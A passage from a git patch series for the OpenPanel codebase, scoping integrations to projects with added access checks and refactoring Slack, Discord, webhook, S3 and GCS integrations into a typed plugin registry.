+ name: input.name,
+ organizationId,
+ projectId: input.projectId,
+ // This is empty and will be filled by the webhook
+ config: {} as ISlackConfig,
+ },
+ });
return {
...res,
slackInstallUrl: await getSlackInstallUrl({
integrationId: res.id,
- organizationId: input.organizationId,
+ organizationId,
+ projectId: input.projectId,
}),
};
}),
createOrUpdate: protectedProcedure
.input(z.union([zCreateDiscordIntegration, zCreateWebhookIntegration]))
- .mutation(async ({ input }) => {
+ .mutation(async ({ input, ctx }) => {
+ const organizationId = await assertProjectAccessAndGetOrg(
+ ctx.session.userId,
+ input.projectId,
+ );
+
// Validate JavaScript template if mode is javascript
if (
input.config.type === 'webhook' &&
@@ -121,7 +158,7 @@ export const integrationRouter = createTRPCRouter({
return db.integration.update({
where: {
id: input.id,
- organizationId: input.organizationId,
+ organizationId,
},
data: {
name: input.name,
@@ -132,7 +169,8 @@ export const integrationRouter = createTRPCRouter({
return db.integration.create({
data: {
name: input.name,
- organizationId: input.organizationId,
+ organizationId,
+ projectId: input.projectId,
config: input.config,
},
});
@@ -141,7 +179,12 @@ export const integrationRouter = createTRPCRouter({
.input(
z.union([zCreateS3ExportIntegration, zCreateGCSExportIntegration]),
)
- .mutation(async ({ input }) => {
+ .mutation(async ({ input, ctx }) => {
+ const organizationId = await assertProjectAccessAndGetOrg(
+ ctx.session.userId,
+ input.projectId,
+ );
+
// Test connection before saving (using unencrypted credentials)
if (input.config.type === 's3_export') {
const adapter = createS3Adapter(input.config);
@@ -179,7 +222,7 @@ export const integrationRouter = createTRPCRouter({
return db.integration.update({
where: {
id: input.id,
- organizationId: input.organizationId,
+ organizationId,
},
data: {
name: input.name,
@@ -190,7 +233,8 @@ export const integrationRouter = createTRPCRouter({
return db.integration.create({
data: {
name: input.name,
- organizationId: input.organizationId,
+ organizationId,
+ projectId: input.projectId,
config: configToSave,
},
});
@@ -219,14 +263,7 @@ export const integrationRouter = createTRPCRouter({
},
});
- const access = await getOrganizationAccess({
- userId: ctx.session.userId,
- organizationId: integration.organizationId,
- });
-
- if (!access) {
- throw new TRPCForbiddenError('You do not have access to this project');
- }
+ await assertIntegrationAccess(ctx.session.userId, integration);
return db.integration.delete({
where: {
diff --git a/packages/trpc/src/routers/notification.ts b/packages/trpc/src/routers/notification.ts
index 16efac4f3..0b8226482 100644
--- a/packages/trpc/src/routers/notification.ts
+++ b/packages/trpc/src/routers/notification.ts
@@ -11,7 +11,7 @@ import {
import { zCreateNotificationRule } from '@openpanel/validation';
import { requireProjectAccess } from '../access';
-import { TRPCForbiddenError } from '../errors';
+import { TRPCBadRequestError, TRPCForbiddenError } from '../errors';
import { createTRPCRouter, protectedProcedure } from '../trpc';
export const notificationRouter = createTRPCRouter({
@@ -80,6 +80,46 @@ export const notificationRouter = createTRPCRouter({
// Clear the cache for the project
await getNotificationRulesByProjectId.clear(input.projectId);
+ // Authorize the target project (covers both create and update; the create
+ // branch previously had no access check) and verify every connected
+ // integration belongs to this project or is a legacy org-wide one in the
+ // same org — never another project's.
+ const project = await db.project.findUniqueOrThrow({
+ where: { id: input.projectId },
+ select: { organizationId: true },
+ });
+ await requireProjectAccess({
+ userId: ctx.session.userId,
+ projectId: input.projectId,
+ level: 'write',
+ });
+
+ const integrationIds = input.integrations.filter(
+ (id) => !isBaseIntegration(id),
+ );
+ if (integrationIds.length > 0) {
+ const integrations = await db.integration.findMany({
+ where: { id: { in: integrationIds } },
+ select: { id: true, projectId: true, organizationId: true },
+ });
+ if (integrations.length !== integrationIds.length) {
+ throw new TRPCBadRequestError(
+ 'One or more integrations were not found',
+ );
+ }
+ for (const integration of integrations) {
+ const sameProject = integration.projectId === input.projectId;
+ const orgWideSameOrg =
+ integration.projectId === null &&
+ integration.organizationId === project.organizationId;
+ if (!sameProject && !orgWideSameOrg) {
+ throw new TRPCForbiddenError(
+ 'Integration does not belong to this project',
+ );
+ }
+ }
+ }
+
if (input.id) {
const existing = await db.notificationRule.findUniqueOrThrow({
where: {
diff --git a/packages/validation/src/index.ts b/packages/validation/src/index.ts
index 8da0359b5..de090266a 100644
--- a/packages/validation/src/index.ts
+++ b/packages/validation/src/index.ts
@@ -547,7 +547,7 @@ export type IIntegrationConfig =
const zCreateIntegration = z.object({
id: z.string().optional(),
name: z.string().min(1),
- organizationId: z.string().min(1),
+ projectId: z.string().min(1),
});
export const zCreateSlackIntegration = zCreateIntegration;
From 39e0c39965cb3c157ebe9f3d2348cfd7f8e771f2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Carl-Gerhard=20Lindesva=CC=88rd?=
Date: Tue, 23 Jun 2026 12:23:02 +0200
Subject: [PATCH 03/15] refactor: integration plugin registry (generic
dispatch)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Phase 2 of the integrations rework. Restructures integrations as three
registries keyed by the same `type` literal so adding one is additive — no
edits to central switches — while keeping types bulletproof.
Type safety (the priority): IIntegrationConfig stays the explicit, hand-written
discriminated union (source of truth, feeds Prisma's IPrismaIntegrationConfig).
It is NOT derived from the registry. The registries are forced to MATCH it via
`satisfies Record`, and two compile-time guards
in validation fail the build if any union member loses its literal `type`
discriminant or if the descriptor set drifts from the union.
- core (packages/validation/src/integrations.ts): per-type zod schemas + an
INTEGRATION_DESCRIPTORS registry (kinds/setup/configSchema/catalog),
getDescriptor/isKind, a runtime zIntegrationConfig, a generic
zCreateIntegration, and the type-level guards.
- server (packages/integrations/src/registry.ts): IServerIntegration +
SERVER_INTEGRATIONS with notification.deliver / export.createAdapter /
validateConfig / testConnection / encryptCredentials hooks. The bespoke
slack/discord/webhook send bodies and s3/gcs adapter+encrypt logic moved here.
getServerIntegration holds the one contained cast.
- client (apps/start integrations.tsx): CLIENT_INTEGRATIONS (icon + Form) keyed
by type; the catalog is derived from descriptors. add-integration.tsx renders
via registry lookup instead of a switch.
- dispatch made generic: worker notification.ts and cron.flush-exports.ts look
up the plugin; the tRPC router collapses to a generic createOrUpdate +
testConnection delegating to plugin hooks (export/slack procedures kept as
thin aliases for one release).
- fixed the discord form's server value-import (browser-bundle leak) by routing
its test through trpc.integration.testConnection.
Deferred (demand-driven): the generic /oauth/:type route only benefits a second
OAuth integration and carries external Slack-redirect-URI risk, so slack OAuth
is unchanged. Legacy zCreate* schemas + tRPC aliases kept until the dashboard
drops them.
typecheck + tests green (657).
Claude-Session: https://claude.ai/code/session_01AWucrxmRqWqgWBvr8cC5cj
---
.../forms/discord-integration.tsx | 15 +-
.../components/integrations/integrations.tsx | 98 +++--
apps/start/src/modals/add-integration.tsx | 52 +--
apps/worker/src/jobs/cron.flush-exports.ts | 29 +-
apps/worker/src/jobs/notification.ts | 79 +---
packages/integrations/package.json | 3 +-
packages/integrations/src/discord.ts | 6 +-
packages/integrations/src/registry.ts | 204 ++++++++++
packages/trpc/src/routers/integration.ts | 210 ++++------
packages/validation/src/index.ts | 145 +------
packages/validation/src/integrations.ts | 361 ++++++++++++++++++
pnpm-lock.yaml | 19 +-
12 files changed, 788 insertions(+), 433 deletions(-)
create mode 100644 packages/integrations/src/registry.ts
create mode 100644 packages/validation/src/integrations.ts
diff --git a/apps/start/src/components/integrations/forms/discord-integration.tsx b/apps/start/src/components/integrations/forms/discord-integration.tsx
index 2823c6d63..985253d96 100644
--- a/apps/start/src/components/integrations/forms/discord-integration.tsx
+++ b/apps/start/src/components/integrations/forms/discord-integration.tsx
@@ -4,7 +4,6 @@ import { useAppParams } from '@/hooks/use-app-params';
import { useTRPC } from '@/integrations/trpc/react';
import type { RouterOutputs } from '@/trpc/client';
import { zodResolver } from '@hookform/resolvers/zod';
-import { sendTestDiscordNotification } from '@openpanel/integrations/src/discord';
import { zCreateDiscordIntegration } from '@openpanel/validation';
import { useMutation } from '@tanstack/react-query';
import { path, mergeDeepRight } from 'ramda';
@@ -55,13 +54,19 @@ export function DiscordIntegrationForm({
toast.error('Validation error');
};
+ const testMutation = useMutation(
+ trpc.integration.testConnection.mutationOptions(),
+ );
+
const handleTest = async () => {
- const webhookUrl = form.getValues('config.url');
- if (!webhookUrl) {
+ const url = form.getValues('config.url');
+ if (!url) {
return toast.error('Webhook URL is required');
}
- const res = await sendTestDiscordNotification(webhookUrl);
- if (res.ok) {
+ const res = await testMutation.mutateAsync({
+ config: { type: 'discord', url },
+ });
+ if (res.success) {
toast.success('Test notification sent');
} else {
toast.error('Failed to send test notification');
diff --git a/apps/start/src/components/integrations/integrations.tsx b/apps/start/src/components/integrations/integrations.tsx
index 62649658f..f48265fd1 100644
--- a/apps/start/src/components/integrations/integrations.tsx
+++ b/apps/start/src/components/integrations/integrations.tsx
@@ -1,71 +1,115 @@
-import type { IIntegrationConfig } from '@openpanel/validation';
-import { CloudIcon, DatabaseIcon, WebhookIcon } from 'lucide-react';
+import type { RouterOutputs } from '@/trpc/client';
+import {
+ INTEGRATION_DESCRIPTORS,
+ type IIntegrationType,
+} from '@openpanel/validation';
+import { BoxIcon, CloudIcon, DatabaseIcon, WebhookIcon } from 'lucide-react';
+import { DiscordIntegrationForm } from './forms/discord-integration';
+import { GCSExportIntegrationForm } from './forms/gcs-export-integration';
+import { S3ExportIntegrationForm } from './forms/s3-export-integration';
+import { SlackIntegrationForm } from './forms/slack-integration';
+import { WebhookIntegrationForm } from './forms/webhook-integration';
import {
IntegrationCardLogo,
IntegrationCardLogoImage,
} from './integration-card';
-export const INTEGRATIONS: {
- type: IIntegrationConfig['type'];
- name: string;
- description: string;
+type IntegrationFormComponent = React.ComponentType<{
+ defaultValues?: RouterOutputs['integration']['get'];
+ onSuccess: () => void;
+}>;
+
+interface IClientIntegration {
+ type: IIntegrationType;
+ // React-only bits that can't live in the validation/server registries.
icon: React.ReactNode;
-}[] = [
+ // Omitted for pseudo-integrations (app/email) that aren't user-configured.
+ Form?: IntegrationFormComponent;
+}
+
+const placeholderIcon = (
+
+
+
+);
+
+/**
+ * Client registry — the per-integration UI. Keyed by the same `type` literal as
+ * the core (validation) and server (integrations) registries and forced to
+ * cover every type via `satisfies Record`, so a new
+ * integration that forgets its UI entry is a compile error. Catalog strings
+ * (name/description) come from the core descriptors, declared once.
+ */
+export const CLIENT_INTEGRATIONS: Record =
{
+ slack: {
type: 'slack',
- name: 'Slack',
- description:
- 'Connect your Slack workspace to get notified when new issues are created.',
icon: (
),
+ Form: SlackIntegrationForm,
},
- {
+ discord: {
type: 'discord',
- name: 'Discord',
- description:
- 'Connect your Discord server to get notified when new issues are created.',
icon: (
),
+ Form: DiscordIntegrationForm,
},
- {
+ webhook: {
type: 'webhook',
- name: 'Webhook',
- description:
- 'Create a webhook to take actions in your own systems when new events are created.',
icon: (
),
+ Form: WebhookIntegrationForm,
},
- {
+ app: { type: 'app', icon: placeholderIcon },
+ email: { type: 'email', icon: placeholderIcon },
+ s3_export: {
type: 's3_export',
- name: 'S3 Export',
- description:
- 'Export events to Amazon S3 for loading into Redshift, Snowflake, Athena, or other data warehouses.',
icon: (
),
+ Form: S3ExportIntegrationForm,
},
- {
+ gcs_export: {
type: 'gcs_export',
- name: 'GCS Export',
- description:
- 'Export events to Google Cloud Storage for loading into BigQuery or other data warehouses.',
icon: (
),
+ Form: GCSExportIntegrationForm,
},
-];
+ };
+
+export interface IIntegrationCatalogEntry {
+ type: IIntegrationType;
+ name: string;
+ description: string;
+ icon: React.ReactNode;
+}
+
+/**
+ * The "available integrations" catalog, derived from the core descriptors
+ * (visible ones) joined with each integration's client icon.
+ */
+export const INTEGRATIONS: IIntegrationCatalogEntry[] =
+ INTEGRATION_DESCRIPTORS.filter(
+ (d) => !('hidden' in d.catalog && d.catalog.hidden),
+ ).map((d) => ({
+ type: d.type,
+ name: d.catalog.name,
+ description: d.catalog.description,
+ icon: CLIENT_INTEGRATIONS[d.type].icon,
+ }));
diff --git a/apps/start/src/modals/add-integration.tsx b/apps/start/src/modals/add-integration.tsx
index 7dea1bb25..2aec336ff 100644
--- a/apps/start/src/modals/add-integration.tsx
+++ b/apps/start/src/modals/add-integration.tsx
@@ -1,12 +1,10 @@
import { useTRPC } from '@/integrations/trpc/react';
-import { DiscordIntegrationForm } from '@/components/integrations/forms/discord-integration';
-import { GCSExportIntegrationForm } from '@/components/integrations/forms/gcs-export-integration';
-import { S3ExportIntegrationForm } from '@/components/integrations/forms/s3-export-integration';
-import { SlackIntegrationForm } from '@/components/integrations/forms/slack-integration';
-import { WebhookIntegrationForm } from '@/components/integrations/forms/webhook-integration';
import { IntegrationCardContent } from '@/components/integrations/integration-card';
-import { INTEGRATIONS } from '@/components/integrations/integrations';
+import {
+ CLIENT_INTEGRATIONS,
+ INTEGRATIONS,
+} from '@/components/integrations/integrations';
import { SheetContent } from '@/components/ui/sheet';
import { useAppParams } from '@/hooks/use-app-params';
import type { IIntegrationConfig } from '@openpanel/validation';
@@ -71,45 +69,11 @@ export default function AddIntegration(props: Props) {
return null;
}
- switch (integration?.type) {
- case 'webhook':
- return (
-
- );
- case 'discord':
- return (
-
- );
- case 'slack':
- return (
-
- );
- case 's3_export':
- return (
-
- );
- case 'gcs_export':
- return (
-
- );
- default:
- return null;
+ const Form = CLIENT_INTEGRATIONS[props.type]?.Form;
+ if (!Form) {
+ return null;
}
+ return ;
};
return (
diff --git a/apps/worker/src/jobs/cron.flush-exports.ts b/apps/worker/src/jobs/cron.flush-exports.ts
index ddfa535f7..77b6037ca 100644
--- a/apps/worker/src/jobs/cron.flush-exports.ts
+++ b/apps/worker/src/jobs/cron.flush-exports.ts
@@ -13,17 +13,15 @@ import {
serializeManifest,
TABLE_NAMES,
} from '@openpanel/db';
-import {
- createGCSAdapter,
- createS3Adapter,
- type IObjectStoreAdapter,
-} from '@openpanel/integrations/src/object-store';
+import type { IObjectStoreAdapter } from '@openpanel/integrations/src/object-store';
+import { getServerIntegration } from '@openpanel/integrations/src/registry';
import { createLogger } from '@openpanel/logger';
import type { CronQueuePayload } from '@openpanel/queue';
-import type {
- IGCSExportConfig,
- IIntegrationConfig,
- IS3ExportConfig,
+import {
+ type IGCSExportConfig,
+ type IIntegrationConfig,
+ type IS3ExportConfig,
+ isKind,
} from '@openpanel/validation';
import type { Job } from 'bullmq';
@@ -67,7 +65,8 @@ interface Cursor {
}
function isExportConfig(config: IIntegrationConfig): config is ExportConfig {
- return config.type === 's3_export' || config.type === 'gcs_export';
+ // Capability comes from the integration registry, not a hardcoded type list.
+ return isKind(config, 'export');
}
const formatCh = (date: Date): string =>
@@ -146,10 +145,12 @@ async function processExport(
config: ExportConfig
): Promise {
let cursor = await loadCursor(projectId, integrationId);
- const adapter: IObjectStoreAdapter =
- config.type === 's3_export'
- ? createS3Adapter(config)
- : createGCSAdapter(config);
+ const adapter: IObjectStoreAdapter | undefined = getServerIntegration(
+ config.type
+ ).export?.createAdapter(config);
+ if (!adapter) {
+ throw new Error(`Integration ${config.type} has no export adapter`);
+ }
const prefix = config.prefix || 'openpanel-exports';
const format = config.format || 'jsonl_gzip';
diff --git a/apps/worker/src/jobs/notification.ts b/apps/worker/src/jobs/notification.ts
index 58b076b20..7d9bcdbc1 100644
--- a/apps/worker/src/jobs/notification.ts
+++ b/apps/worker/src/jobs/notification.ts
@@ -2,11 +2,7 @@ import type { Job } from 'bullmq';
import { Prisma, db } from '@openpanel/db';
import { sendEmail } from '@openpanel/email';
-import { sendDiscordNotification } from '@openpanel/integrations/src/discord';
-import { postWebhook } from '@openpanel/integrations/src/fetcher';
-import { safeWebhookFetcher } from '@openpanel/integrations/src/safe-fetcher';
-import { sendSlackNotification } from '@openpanel/integrations/src/slack';
-import { execute as executeJavaScriptTemplate } from '@openpanel/js-runtime';
+import { getServerIntegration } from '@openpanel/integrations/src/registry';
import type { NotificationQueuePayload } from '@openpanel/queue';
import { publishEvent } from '@openpanel/redis';
@@ -26,6 +22,7 @@ export async function notificationJob(job: Job) {
case 'sendNotification': {
const { notification } = job.data.payload;
+ // App + email are pseudo-integrations dispatched by flags, not real rows.
if (notification.sendToApp) {
publishEvent('notification', 'created', notification);
return;
@@ -80,63 +77,23 @@ export async function notificationJob(job: Job) {
return new Error('Invalid payload');
}
- switch (integration.config.type) {
- case 'webhook': {
- let body: unknown;
-
- if (integration.config.mode === 'javascript') {
- // We only transform event payloads for now (not funnel)
- if (
- integration.config.javascriptTemplate &&
- payload.type === 'event'
- ) {
- const result = executeJavaScriptTemplate(
- integration.config.javascriptTemplate,
- payload.event,
- );
- body = result;
- } else {
- body = payload;
- }
- } else {
- body = {
- title: notification.title,
- message: notification.message,
- };
- }
-
- // The webhook URL, its headers and (in javascript mode) its body are
- // all user-controlled, and this runs inside our network. Re-validate
- // the destination on every send rather than trusting it from when it
- // was saved.
- return postWebhook(
- safeWebhookFetcher,
- integration.config.url,
- body,
- integration.config.headers ?? {},
- );
- }
- case 'discord': {
- return sendDiscordNotification({
- fetcher: safeWebhookFetcher,
- webhookUrl: integration.config.url,
- message: [
- `🔔 **${notification.title}**`,
- notification.message,
- ].join('\n'),
- });
- }
-
- case 'slack': {
- return sendSlackNotification({
- fetcher: safeWebhookFetcher,
- webhookUrl: integration.config.incoming_webhook.url,
- message: [`🔔 *${notification.title}*`, notification.message].join(
- '\n',
- ),
- });
- }
+ // Generic registry dispatch — no per-type switch. A new notification
+ // integration just registers a `notification.deliver` plugin.
+ const plugin = getServerIntegration(integration.config.type);
+ if (!plugin.notification) {
+ throw new Error(
+ `Integration ${integration.config.type} is not a notification sink`,
+ );
}
+
+ return plugin.notification.deliver({
+ config: integration.config,
+ notification: {
+ title: notification.title,
+ message: notification.message,
+ },
+ payload,
+ });
}
}
}
diff --git a/packages/integrations/package.json b/packages/integrations/package.json
index 0fb7d214a..526e46d09 100644
--- a/packages/integrations/package.json
+++ b/packages/integrations/package.json
@@ -11,6 +11,8 @@
"@aws-sdk/client-sts": "^3.974.0",
"@google-cloud/storage": "^7.18.0",
"@openpanel/common": "workspace:*",
+ "@openpanel/js-runtime": "workspace:*",
+ "@openpanel/validation": "workspace:*",
"@slack/bolt": "^3.18.0",
"@slack/oauth": "^3.0.0",
"@openpanel/common": "workspace:*"
@@ -18,7 +20,6 @@
"devDependencies": {
"@openpanel/logger": "workspace:*",
"@openpanel/tsconfig": "workspace:*",
- "@openpanel/validation": "workspace:*",
"@types/node": "catalog:",
"typescript": "catalog:"
}
diff --git a/packages/integrations/src/discord.ts b/packages/integrations/src/discord.ts
index 8505a21d4..fee0fcd2c 100644
--- a/packages/integrations/src/discord.ts
+++ b/packages/integrations/src/discord.ts
@@ -28,9 +28,13 @@ export function sendDiscordNotification({
});
}
-export function sendTestDiscordNotification(webhookUrl: string) {
+export function sendTestDiscordNotification(
+ webhookUrl: string,
+ fetcher: WebhookFetcher = browserFetcher,
+) {
return sendDiscordNotification({
webhookUrl,
+ fetcher,
message:
'**🧪 Test [OpenPanel.dev]( )**\nIf you can read this, your Slack webhook is functioning correctly!\n',
});
diff --git a/packages/integrations/src/registry.ts b/packages/integrations/src/registry.ts
new file mode 100644
index 000000000..9b27ebd18
--- /dev/null
+++ b/packages/integrations/src/registry.ts
@@ -0,0 +1,204 @@
+import { encryptCredential } from '@openpanel/common/server';
+import {
+ execute as executeJavaScriptTemplate,
+ validate as validateJavaScriptTemplate,
+} from '@openpanel/js-runtime';
+import type { IIntegrationConfig } from '@openpanel/validation';
+import {
+ sendDiscordNotification,
+ sendTestDiscordNotification,
+} from './discord';
+import { postWebhook } from './fetcher';
+import {
+ createGCSAdapter,
+ createS3Adapter,
+ type IObjectStoreAdapter,
+} from './object-store';
+import { safeWebhookFetcher } from './safe-fetcher';
+import { sendSlackNotification } from './slack';
+
+/** Narrow the integration config union to one `type`. */
+export type ConfigOf = Extract<
+ IIntegrationConfig,
+ { type: T }
+>;
+
+/**
+ * Structural mirror of @openpanel/db `INotificationPayload`, kept local so the
+ * integrations package needn't depend on db. The worker passes the real,
+ * fully-typed payload — it's assignable to this looser shape.
+ */
+export type INotificationDeliverPayload =
+ | { type: 'event'; event: unknown }
+ | { type: 'funnel'; funnel: unknown };
+
+export interface INotificationDeliverArgs<
+ T extends IIntegrationConfig['type'],
+> {
+ config: ConfigOf;
+ notification: { title: string; message: string };
+ payload: INotificationDeliverPayload;
+}
+
+/**
+ * Server-side behavior for one integration type. Capability slots are optional;
+ * which ones are present is declared by the core descriptor's `kinds`. A new
+ * integration adds one entry to SERVER_INTEGRATIONS — the `satisfies Record`
+ * below forces an entry for every union member (a missing one is a compile
+ * error, not a silent runtime gap).
+ *
+ * The notification capability is added in a later step (it needs the db payload
+ * type + js-runtime); export-only for now.
+ */
+export interface IServerIntegration {
+ type: T;
+ // Notification sink (delivered when a notification rule matches).
+ notification?: {
+ deliver(args: INotificationDeliverArgs): Promise | unknown;
+ };
+ // Object-store export sink.
+ export?: {
+ createAdapter(config: ConfigOf): IObjectStoreAdapter;
+ };
+ // Optional synchronous config validation run before persisting (e.g. webhook
+ // JS template). Returning invalid rejects the create/update.
+ validateConfig?(config: ConfigOf): { valid: boolean; error?: string };
+ // Optional pre-save connection test (used by the generic tRPC procedure).
+ testConnection?(
+ config: ConfigOf,
+ ): Promise<{ success: boolean; error?: string }>;
+ // Optional at-rest credential encryption applied before persisting config.
+ encryptCredentials?(config: ConfigOf): ConfigOf;
+}
+
+const slackServer: IServerIntegration<'slack'> = {
+ type: 'slack',
+ notification: {
+ deliver: ({ config, notification }) =>
+ sendSlackNotification({
+ fetcher: safeWebhookFetcher,
+ webhookUrl: config.incoming_webhook.url,
+ message: [`🔔 *${notification.title}*`, notification.message].join('\n'),
+ }),
+ },
+};
+
+const discordServer: IServerIntegration<'discord'> = {
+ type: 'discord',
+ testConnection: async (config) => {
+ const res = await sendTestDiscordNotification(
+ config.url,
+ safeWebhookFetcher,
+ );
+ return res.ok
+ ? { success: true }
+ : { success: false, error: 'Failed to send test notification' };
+ },
+ notification: {
+ deliver: ({ config, notification }) =>
+ sendDiscordNotification({
+ fetcher: safeWebhookFetcher,
+ webhookUrl: config.url,
+ message: [`🔔 **${notification.title}**`, notification.message].join(
+ '\n'
+ ),
+ }),
+ },
+};
+
+const webhookServer: IServerIntegration<'webhook'> = {
+ type: 'webhook',
+ validateConfig: (config) => {
+ if (config.mode === 'javascript' && config.javascriptTemplate) {
+ const result = validateJavaScriptTemplate(config.javascriptTemplate);
+ if (!result.valid) {
+ return { valid: false, error: result.error };
+ }
+ }
+ return { valid: true };
+ },
+ notification: {
+ deliver: ({ config, notification, payload }) => {
+ let body: unknown;
+ if (config.mode === 'javascript') {
+ // We only transform event payloads for now (not funnel)
+ if (config.javascriptTemplate && payload.type === 'event') {
+ body = executeJavaScriptTemplate(
+ config.javascriptTemplate,
+ payload.event as Record
+ );
+ } else {
+ body = payload;
+ }
+ } else {
+ body = {
+ title: notification.title,
+ message: notification.message,
+ };
+ }
+
+ // The webhook URL, its headers and (in javascript mode) its body are all
+ // user-controlled, and this runs inside our network. Re-validate the
+ // destination on every send rather than trusting it from when it was
+ // saved.
+ return postWebhook(
+ safeWebhookFetcher,
+ config.url,
+ body,
+ config.headers ?? {},
+ );
+ },
+ },
+};
+
+const s3Server: IServerIntegration<'s3_export'> = {
+ type: 's3_export',
+ export: {
+ createAdapter: (config) => createS3Adapter(config),
+ },
+ testConnection: (config) => createS3Adapter(config).testConnection(),
+ encryptCredentials: (config) =>
+ config.authMode === 'access_key'
+ ? {
+ ...config,
+ secretAccessKey: encryptCredential(config.secretAccessKey),
+ }
+ : config,
+};
+
+const gcsServer: IServerIntegration<'gcs_export'> = {
+ type: 'gcs_export',
+ export: {
+ createAdapter: (config) => createGCSAdapter(config),
+ },
+ testConnection: (config) => createGCSAdapter(config).testConnection(),
+ encryptCredentials: (config) => ({
+ ...config,
+ serviceAccountKey: encryptCredential(config.serviceAccountKey),
+ }),
+};
+
+export const SERVER_INTEGRATIONS = {
+ slack: slackServer,
+ discord: discordServer,
+ webhook: webhookServer,
+ // Pseudo-integrations dispatched by sendToApp/sendToEmail flags before the
+ // registry lookup; no server delivery handler of their own.
+ app: { type: 'app' },
+ email: { type: 'email' },
+ s3_export: s3Server,
+ gcs_export: gcsServer,
+} satisfies {
+ [T in IIntegrationConfig['type']]: IServerIntegration;
+};
+
+/**
+ * Look up a server integration by type. Indexing the record by a union-typed
+ * key widens the handler params, so the one unavoidable cast in the whole
+ * dispatch path lives here; call sites get a correctly-typed IServerIntegration.
+ */
+export function getServerIntegration(
+ type: T,
+): IServerIntegration {
+ return SERVER_INTEGRATIONS[type] as unknown as IServerIntegration;
+}
diff --git a/packages/trpc/src/routers/integration.ts b/packages/trpc/src/routers/integration.ts
index 804993f41..c0ff06c4e 100644
--- a/packages/trpc/src/routers/integration.ts
+++ b/packages/trpc/src/routers/integration.ts
@@ -1,25 +1,20 @@
import { z } from 'zod';
import { BASE_INTEGRATIONS, db } from '@openpanel/db';
-import { encryptCredential } from '@openpanel/common/server';
-import {
- createS3Adapter,
- createGCSAdapter,
-} from '@openpanel/integrations/src/object-store';
+import { getServerIntegration } from '@openpanel/integrations/src/registry';
import { getSlackInstallUrl } from '@openpanel/integrations/src/slack';
import {
+ type IIntegrationConfig,
type ISlackConfig,
- zCreateDiscordIntegration,
zCreateGCSExportIntegration,
zCreateS3ExportIntegration,
zCreateSlackIntegration,
- zCreateWebhookIntegration,
+ zIntegrationConfig,
} from '@openpanel/validation';
import { getOrganizationAccess, getProjectAccess } from '../access';
import { TRPCForbiddenError, TRPCBadRequestError } from '../errors';
import { createTRPCRouter, protectedProcedure } from '../trpc';
-import { validate as validateJavaScriptTemplate } from '@openpanel/js-runtime';
// Assert the user can access the project, and return the project's
// organizationId (still stored on the integration for org-level queries/cascades).
@@ -35,6 +30,53 @@ async function assertProjectAccessAndGetOrg(userId: string, projectId: string) {
return project.organizationId;
}
+// Shared create/update path for any form-configured integration. All per-type
+// behavior (validation, connection test, credential encryption) is delegated to
+// the integration's server plugin — adding a new integration needs no change here.
+async function upsertIntegration(
+ userId: string,
+ input: {
+ id?: string;
+ name: string;
+ projectId: string;
+ config: IIntegrationConfig;
+ },
+) {
+ const organizationId = await assertProjectAccessAndGetOrg(
+ userId,
+ input.projectId,
+ );
+ const plugin = getServerIntegration(input.config.type);
+
+ const validation = plugin.validateConfig?.(input.config);
+ if (validation && !validation.valid) {
+ throw new TRPCBadRequestError(`Invalid config: ${validation.error}`);
+ }
+
+ // Test the connection with the unencrypted credentials before saving.
+ const testResult = await plugin.testConnection?.(input.config);
+ if (testResult && !testResult.success) {
+ throw new TRPCBadRequestError(`Failed to connect: ${testResult.error}`);
+ }
+
+ const config = plugin.encryptCredentials?.(input.config) ?? input.config;
+
+ if (input.id) {
+ return db.integration.update({
+ where: { id: input.id, organizationId },
+ data: { name: input.name, config },
+ });
+ }
+ return db.integration.create({
+ data: {
+ name: input.name,
+ organizationId,
+ projectId: input.projectId,
+ config,
+ },
+ });
+}
+
// Access check for an existing integration of either scope: project-scoped rows
// check project access; legacy org-wide rows (projectId null) check org access.
async function assertIntegrationAccess(
@@ -130,130 +172,42 @@ export const integrationRouter = createTRPCRouter({
}),
};
}),
+ // Generic create/update for any form-configured integration. Per-type
+ // behavior lives in the server plugin; no switch here.
createOrUpdate: protectedProcedure
- .input(z.union([zCreateDiscordIntegration, zCreateWebhookIntegration]))
- .mutation(async ({ input, ctx }) => {
- const organizationId = await assertProjectAccessAndGetOrg(
- ctx.session.userId,
- input.projectId,
- );
-
- // Validate JavaScript template if mode is javascript
- if (
- input.config.type === 'webhook' &&
- input.config.mode === 'javascript' &&
- input.config.javascriptTemplate
- ) {
- const validation = validateJavaScriptTemplate(
- input.config.javascriptTemplate,
- );
- if (!validation.valid) {
- throw new TRPCBadRequestError(
- `Invalid JavaScript template: ${validation.error}`,
- );
- }
- }
-
- if (input.id) {
- return db.integration.update({
- where: {
- id: input.id,
- organizationId,
- },
- data: {
- name: input.name,
- config: input.config,
- },
- });
- }
- return db.integration.create({
- data: {
- name: input.name,
- organizationId,
- projectId: input.projectId,
- config: input.config,
- },
- });
- }),
- createOrUpdateExport: protectedProcedure
.input(
- z.union([zCreateS3ExportIntegration, zCreateGCSExportIntegration]),
+ z.object({
+ id: z.string().optional(),
+ name: z.string().min(1),
+ projectId: z.string().min(1),
+ config: zIntegrationConfig,
+ }),
)
- .mutation(async ({ input, ctx }) => {
- const organizationId = await assertProjectAccessAndGetOrg(
- ctx.session.userId,
- input.projectId,
- );
-
- // Test connection before saving (using unencrypted credentials)
- if (input.config.type === 's3_export') {
- const adapter = createS3Adapter(input.config);
- const testResult = await adapter.testConnection();
- if (!testResult.success) {
- throw new TRPCBadRequestError(
- `Failed to connect to S3: ${testResult.error}`,
- );
- }
- } else if (input.config.type === 'gcs_export') {
- const adapter = createGCSAdapter(input.config);
- const testResult = await adapter.testConnection();
- if (!testResult.success) {
- throw new TRPCBadRequestError(
- `Failed to connect to GCS: ${testResult.error}`,
- );
- }
- }
-
- // Encrypt sensitive credentials before storing
- let configToSave = input.config;
- if (input.config.type === 's3_export' && input.config.authMode === 'access_key') {
- configToSave = {
- ...input.config,
- secretAccessKey: encryptCredential(input.config.secretAccessKey),
- };
- } else if (input.config.type === 'gcs_export') {
- configToSave = {
- ...input.config,
- serviceAccountKey: encryptCredential(input.config.serviceAccountKey),
- };
- }
-
- if (input.id) {
- return db.integration.update({
- where: {
- id: input.id,
- organizationId,
- },
- data: {
- name: input.name,
- config: configToSave,
- },
- });
- }
- return db.integration.create({
- data: {
- name: input.name,
- organizationId,
- projectId: input.projectId,
- config: configToSave,
- },
- });
- }),
+ .mutation(({ input, ctx }) => upsertIntegration(ctx.session.userId, input)),
+ // Back-compat alias for the export forms; delegates to the same generic path.
+ // TODO: remove once the dashboard calls `createOrUpdate` directly.
+ createOrUpdateExport: protectedProcedure
